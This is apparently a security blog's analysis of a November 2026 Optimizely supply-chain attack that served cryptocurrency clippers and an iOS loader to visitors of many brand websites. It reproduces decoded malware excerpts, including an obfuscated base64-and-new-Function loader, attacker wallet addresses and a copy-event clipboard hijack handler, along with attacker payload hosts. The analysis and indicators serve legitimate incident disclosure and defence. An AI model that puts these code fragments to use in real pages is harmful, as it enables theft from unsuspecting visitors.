Optimizely Supply Chain Attack Distributes Malware Across Global Brands

By Taym Haddadi

Published: 2026-11-18 · Archived: 2026-11-20 02:01:32 UTC

Attackers exploited Optimizely to inject malicious JavaScript into major websites, delivering cryptocurrency clippers, card skimmers, and iOS malware.

- Taym Haddadi

Nov 18, 2026|3 min read

Table of Contents

1. Payload Analysis
2. Indicators

An attacker exploited a vulnerability in Optimizely's Web Experimentation platform on November 16, 2026, distributing malicious JavaScript through websites operated by some of the world's largest brands. Security researcher Scott Helme of Report URI identified 188 infected JavaScript snippets associated with 178 organizations, including the BBC, CNN, Zoom, GitLab, IKEA, and HSBC. The attack exposed website visitors to malware designed to replace cryptocurrency wallet addresses, steal payment information, and deliver iOS exploit kits.

Optimizely Web Experimentation is used for A/B testing and website personalization. Organizations using the service embed JavaScript snippets from Optimizely's content delivery network into their websites. These snippets include an optional Project JavaScript field that allows custom code to execute across pages. The attacker inserted malicious code into that field, which was then served through Optimizely's trusted infrastructure. The affected organizations did not need to have their own websites or servers compromised for the malicious scripts to reach visitors.

Optimizely confirmed that the attacker exploited a vulnerability in its Experimentation account signup flow. The company says it patched the vulnerability, removed the injected code, revoked tokens, reset access for affected accounts, and notified the organizations involved. Report URI subsequently confirmed that all infected snippets in its observed set had been cleaned by November 16 at 23:11 UTC.

Affected snippets could load `track.js` from an attacker-controlled domain. StepSecurity also documented variants that hid the URL in base64 or carried the payload inline.

```
Affected website
  └──── Optimizely customer snippet
```

```
        └──── injected JavaScript
              └──── 1688360[.]cc/track.js
                    ├──── cryptocurrency address clipper
                    └──── iOS boot.js loader
```

A copy of `track.js` from `1688360[.]cc` was captured by the Internet Archive's Wayback Machine on **16 November at 08:08:15 UTC**. We decoded the sample statically; we did not execute it.

The capture timestamp precedes the 08:10 UTC first-build time reported in the published timeline. The Internet Archive's index records the capture at 08:08:15 UTC, and its digest matches the compressed response we downloaded. The relationship between this capture and the 26 reported builds remains unconfirmed.

```
 Size:    19,513 bytes
SHA-256: 1ec4245b3b303304ea24a89b3b2351b0f0c085087050f517d23dcba9694c165a
```

The sample contains two encoded modules: a wallet clipper and an iOS loader. Static inspection did not identify the card-skimming module described in later versions.

The outer file stores JavaScript modules in a configuration object. Each module's code is a reversed base64 string. At runtime, the wrapper reverses the string, decodes it with `atob()`, and executes the decoded text using `new Function()`:

JavaScript

```
 (new Function(
  atob(encoded.split("").reverse().join(""))
))();
```

The sample's decoded modules are **8,501 bytes** and **312 bytes** respectively.

The first module contains hard-coded Ethereum-style, Tron and Bitcoin replacement addresses:

JavaScript

```
var E = '0xC4026b06D82b0F0B363eda0642D61CfbDc17884e',
   T = 'THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa',
   B = '19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW';
```

It looks for matching addresses and replaces them using this function:

JavaScript

```
function F(s) {
 if (!s || s.length < 26 || !TS.test(s)) return s;
```

```
  return s.replace(RX, function (m) {
    var r = V(m);
    return r && r !== m ? r : m;
  });
}
```

The code validates Bitcoin and Tron candidates using checksum logic. For Ethereum-style candidates, it checks the `0x` prefix and 40 hexadecimal characters; it does not perform an Ethereum checksum validation.

The clipper scans page text, inputs and textareas. It intercepts copy events and wraps the Clipboard API's `readText()` and `writeText()` methods. A `MutationObserver` and a 50 ms interval help it revisit changing page content.

During a user-initiated copy, this handler can replace the copied text without a separate permission prompt. It does not read the clipboard's previous contents; the wrapped Clipboard API methods remain subject to browser restrictions:

JavaScript

```
 D.addEventListener('copy', function (e) {
  var t = '';
  try { t = String(W.getSelection() || ''); } catch (x) {}
  if (!t || !TS.test(t)) return;
  var o = F(t);
  if (o !== t && e.clipboardData) {
    e.clipboardData.setData('text/plain', o);
    e.preventDefault();
  }
}, true);
```

The second module is restricted by the outer configuration to devices classified as iOS. It creates a script element that loads `boot.js` from `5vobauua3ojpklx[.]icu` and sets:

JavaScript

```
 data-channel-code="02111110"
data-cfasync="false"
```

The Optimizely compromise shows how a single vulnerability in a widely used third-party service can expose visitors across hundreds of websites to malicious code. Third-party scripts can interact with sensitive page content and user activity, often with the same privileges as the website's own code. Organizations should reconsider whether experimentation and personalization scripts need to run across their entire sites, particularly on payment, account, and other sensitive pages.

Payload host: 1688360[.]cc
Payload path: /track.js
iOS loader host: 5vobauua3ojpklx[.]icu
iOS loader path: /boot.js
Page marker: window._k7
Sample SHA-256: 1ec4245b3b303304ea24a89b3b2351b0f0c085087050f517d23dcba9694c165a

*The SHA-256 identifies **this sample only**. Other builds can have different hashes and behavior.*

Keep Reading

Related posts

Stay ahead of threats

Get notified when we publish new security blog posts!

Source: https://socket.dev/blog/optimizely-supply-chain-attack